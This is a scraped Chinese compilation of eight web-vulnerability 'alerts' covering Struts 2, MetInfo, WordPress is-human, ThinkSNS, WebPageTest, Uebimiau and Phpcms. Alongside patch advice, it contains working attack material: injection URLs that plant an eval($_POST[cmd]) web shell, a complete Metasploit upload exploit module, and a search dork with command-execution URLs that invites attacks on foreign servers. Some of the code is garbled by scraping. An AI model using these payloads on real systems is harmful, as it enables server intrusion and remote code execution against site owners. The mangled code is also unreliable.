Apache Struts远程命令执行和任意文件覆盖漏洞漏洞预警
“Rina”通过精心收集,向本站投稿了8篇Apache Struts远程命令执行和任意文件覆盖漏洞漏洞预警,以下是小编帮大家整理后的Apache Struts远程命令执行和任意文件覆盖漏洞漏洞预警,供大家参考借鉴,希望可以帮助到您。
篇1:Apache Struts远程命令执行和任意文件覆盖漏洞漏洞预警
发布日期:01月08日
受影响的软件及系统
Apache Struts 2.3.1及以下版本
漏洞描述
Apache Struts是一款开发Java Web应用程序的开源Web应用框架,
Apache Struts在实现上存在远程命令执行和任意文件覆盖漏洞,成功利用后会允许攻击者覆盖受影响计算机上的任意文件并以当前用户权限执行任意命令。
漏洞检测方法
检查Apache Struts的版本,若 <=2.3.1,则受该漏洞影响,
漏洞证明:
POC:www.1337day.com/exploits/17347
建议修补方案
对于Apache Struts<=2.3.1版本请升级至2.3.1.1或以上版本;请勿在开发模式运行应用程序。
参考文档:
struts.apache.org/2.x/docs/s2-008.html
websec.wordpress.com//01
篇2:MetInfov5.1.3 任意文件上传漏洞漏洞预警
MetInfo 23号发布了新版本5.1.5,修补了本文提到的漏洞,当然严格来说应该是任意变量覆盖漏洞....
ps:欢迎各种形式,首发t00ls.net
注:请勿利用本文内容从事一切非法活动,否则后果自负
author:my5t3ry
废话不多说,看代码:
include\common.inc.php20-39$db_settings=parse_ini_file(ROOTPATH.'config/config_db.php');@extract($db_settings);require_once ROOTPATH.'include/mysql_class.php';$db=newdbmysql;$db->dbconn($con_db_host,$con_db_id,$con_db_pass,$con_db_name);define('MAGIC_QUOTES_GPC',get_magic_quotes_gpc());isset($_REQUEST['GLOBALS'])&&exit('Access Error');require_once ROOTPATH.'include/global.func.php';foreach(array('_COOKIE','_POST','_GET')as$_request){foreach($$_requestas$_key=>$_value){$_key{0}!='_'&&$$_key=daddslashes($_value);}}$query=“select * from {$tablepre}config where name='met_tablename' and lang='metinfo'”;$mettable=$db->get_one($query);$mettables=explode('|',$mettable[value]);foreach($mettablesas$key=>$val){$tablename='met_'.$val;$$tablename=$tablepre.$val;}
metinfo系统通过查询数据库的{$tablepre}config表,并将获取的结果通过foreach循环初始化表名变量,其中的
是通过代码
$db_settings = parse_ini_file(ROOTPATH.'config/config_db.php'); @extract($db_settings);
来初始化的,然后在系统中使用这样“SELECT * FROM $met_message where id=$id and lang='$lang'”的SQL查询数据库,
其中的$met_message变量就是前面foreach循环初始化的变量……
我们可以覆盖$tablepre变量使表名初始化失败,进而提交表名变量.....
我找了个后台的上传页面,通过覆盖变量绕过后台验证并且覆盖允许上传后缀列表,构造上传漏洞,
MetInfov5.1.3 任意文件上传漏洞漏洞预警
,
exp:任意文件上传
任意文件上传
篇3:File Upload Manager远程任意命令执行漏洞
受影响系统:
File Upload Manager File Upload Manager 1.3
描述:
--------------------------------------------------------------------------------
File Upload Manager是基于PHP的文件上传管理程序,
File Upload Manager包含的/fileupload/index.php没有正确验证上传文件,远程攻击者可以利用这个漏洞以WEB权限在系统上执行任意命令。
攻击者可以利用/fileupload/index.php文件漏洞,当上传包含恶意命令的文件或图象文件时更改Content-Type内容,就可以绕过文件类型的验证,然后发送请求执行上传文件,可导致以WEB权限在系统上执行任意命令,
<*来源:keitel andres ortega (justint@rdmail.net)
链接:marc.theaimsgroup.com/?l=bugtraq&m=109786552422431&w=2
*>
建议:
--------------------------------------------------------------------------------
厂商补丁:
File Upload Manager
-------------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
webdev.mtnpeak.net/index.php?pg=php
篇4:WordPress 插件 Ishuman 远程命令执行漏洞漏洞预警
Is-human是wordpress的一个发表评论验证插件,
今天在inj3ct0r上看到了这个插件的漏洞
exp:server/wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options;passthru(whoami);error
其中,passthru(whoami)这里可以执行任意命令,比如ls,uname等,
但uname -a, wget等无法执行,含有空格。需要base64编码。
伟大娃娃同学研究之后的EXP,很方便
exp:
server/wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval($_POST[cmd]);error
直接放入菜刀,密码cmd,即可。
篇5:ThinkSNS又一个任意上传文件漏洞漏洞预警
某模块未对上传文件类型进行验证,可上传任意文件
代码产生位置
apps\wap\Lib\Action\IndexAction.class.php
263行
if(!empty($_FILES['pic']['name'])) { // 自动发一条图片微博
$data['pic'] = $_FILES['pic'];
$data['content'] = '图片分享';
$data['from'] = $this->_type_wap;
$res = api('Statuses')->data($data)->upload();
}
未对文件类型过滤
访问wap 模块
发一条微博并传图
firebug 地址
去掉small_然后访问
www.myhack58.com/data/uploads//1023/17/50865d481c217.php
修复方案:
对上传类型要进行检查
篇6:WebPageTest任意php文件上传漏洞预警
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' =>“WebPageTest Arbitrary PHP File Upload”,
'Description' =>%q{
This module exploits a vulnerability found in WebPageTest's Upload Feature. By
default, the resultimage.phpfile does not verify the user-supplied item before
saving it to disk, and then places this item in the web directory accessable by
remote users. This flaw can be abused to gain remote code execution.
},
'License' =>MSF_LICENSE,
'Author' =>
[
'dun', #Discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '83822'],
['EDB', '19790']
],
'Payload' =>
{
'BadChars' =>“\x00”
},
'DefaultOptions' =>
{
'ExitFunction' =>“none”
},
'Platform' =>['php'],
'Arch' =>ARCH_PHP,
'Targets' =>
[
['WebPageTest v2.6 or older', {}]
],
'Privileged' =>false,
'DisclosureDate' =>“Jul 13 2012”,
'DefaultTarget' =>0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to WebPageTest', '/www/'])
], self.class)
end
def check
peer = “#{rhost}:#{rport}”
target_uri.path << '/' if target_uri.path[-1,1] != '/'
base = File.dirname(“#{target_uri.path}.”)
res1 = send_request_raw({'uri'=>“#{base}/index.php”})
res2 = send_request_raw({'uri'=>“#{base}/work/resultimage.php”})
if res1 and res1.body =~ /WebPagetest \- Website Performance and Optimization Test/ and
res2 and res2.code == 200
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def on_new_session(cli)
if cli.type != “meterpreter”
print_error(“No automatic cleanup for you. Please manually remove: #{@target_path}”)
return
end
cli.core.use(“stdapi”) if not cli.ext.aliases.include?(“stdapi”)
cli.fs.file.rm(@target_path)
print_status(“#{@target_path} removed”)
end
def exploit
peer = “#{rhost}:#{rport}”
target_uri.path << '/' if target_uri.path[-1,1] != '/'
base = File.dirname(“#{target_uri.path}.”)
p = payload.encoded
fname = “blah.php”
data = Rex::MIME::Message.new
data.add_part(
“
'multipart/form-data', #Content Type
nil, #Transfer Encoding
”form-data; name=\“file\”; filename=\“#{fname}\”“ #Content Disposition
)
print_status(”#{peer} - Uploading payload (#{p.length.to_s} bytes)...“)
res = send_request_cgi({
'method' =>'POST',
'uri' =>”#{base}/work/resultimage.php“,
'ctype' =>”multipart/form-data; boundary=#{data.bound}“,
'data' =>data.to_s
})
if not res
print_error(”#{peer} - No response from host“)
return
end www.xxxxo.com
@target_path = ”#{base}/results/#{fname}“
print_status(”#{peer} - Requesting #{@target_path}“)
res = send_request_cgi({'uri'=>@target_path})
handler
if res and res.code == 404
print_error(”#{peer} - Payload failed to upload“)
end
end
end
篇7:远程文件执行代码漏洞利用方法漏洞预警
goole 搜 Uebimiau Webmail
地址后面加 /uebimiau/admin/editor.php?load=config 被人拿了 加 /uebimiau/index.php?cmd=id
全部是外国的 ,,,高手可以玩玩,。。。。。。
漏洞公布时间 6 。12
==========================================================
Uebimiau Webmail <= v3.2.0-1.8 Remote File / Overwrite Vulnerabilities
Dork : Uebimiau Webmail v3.2.0-1.8
POC :
/uebimiau/admin/editor.php?load=config
And You Can Write Any Code As
Go
/uebimiau/index.php?cmd=id
See Pic :www.almlf.com/get-6-2009-almlf_com_akszizl2.png
Thanx To
篇8:Phpcms 远程文件包含漏洞漏洞预警
[zz]Phpcms 2007 远程文件包含漏洞
url:www.wolvez.org/forum/redirect.php?tid=182&goto=lastpost
这个漏洞是一个比较普通的变量覆盖漏洞,这里转一下是由于发现这个漏洞如果是白盒那要都仔细看代码才行 :)
引用 :
------------------------------------------------
//从头开始看
$rootdir = str_replace(”\\“, '/', dirname(__FILE__));
require $rootdir.'/include/common.inc.php';//通过extract可以覆盖$rootdir为任意值
require PHPCMS_ROOT.'/languages/'.$CONFIG['adminlanguage'].'/yp_admin.lang.php';
if(!$_username) showmessage($LANG['please_login'],$PHPCMS['siteurl'].'member/login.php?forward='.$PHP_URL);
require $rootdir.'/web/admin/include/common.inc.php ';//触发远程文件包含
------------------------------------------------
注意看里面的2个require,第一个那引进的extract的代码,第2个require才导致漏洞的函数,
Phpcms 2007 远程文件包含漏洞漏洞预警
,
伪代码:
$rootdir = str_replace(”\\“, '/', dirname(__FILE__));
//下面就是require $rootdir.'/include/common.inc.php';引入的代码
@extract($_POST, EXTR_OVERWRITE);
@extract($_GET, EXTR_OVERWRITE);
unset($_POST, $_GET);
require $rootdir.'/web/admin/include/common.inc.php
?>
不知道看到这里,看官们有什么感想?如果这里用grep等软件去找静态的上跟踪这个的话障很再可能就会漏调着可能分析得到的结果是:
$rootdir = str_replace(”\\", '/', dirname(__FILE__));
require $rootdir.'/include/common.inc.php'
require $rootdir.'/web/admin/include/common.inc.php
一看$rootdir被过滤了,就会认为这里安全了?
所以一味的grep等静态去找,是找不到这样的bug的上...
来个“马后炮”,对于这样的上用灰盒测试可能效果很好:就是先看代码看common.inc.php这个躯干里发现用变量覆盖,然后黑盒去找跑那些变量可以覆盖.....
【Apache Struts远程命令执行和任意文件覆盖漏洞漏洞预警】相关文章:






文档为doc格式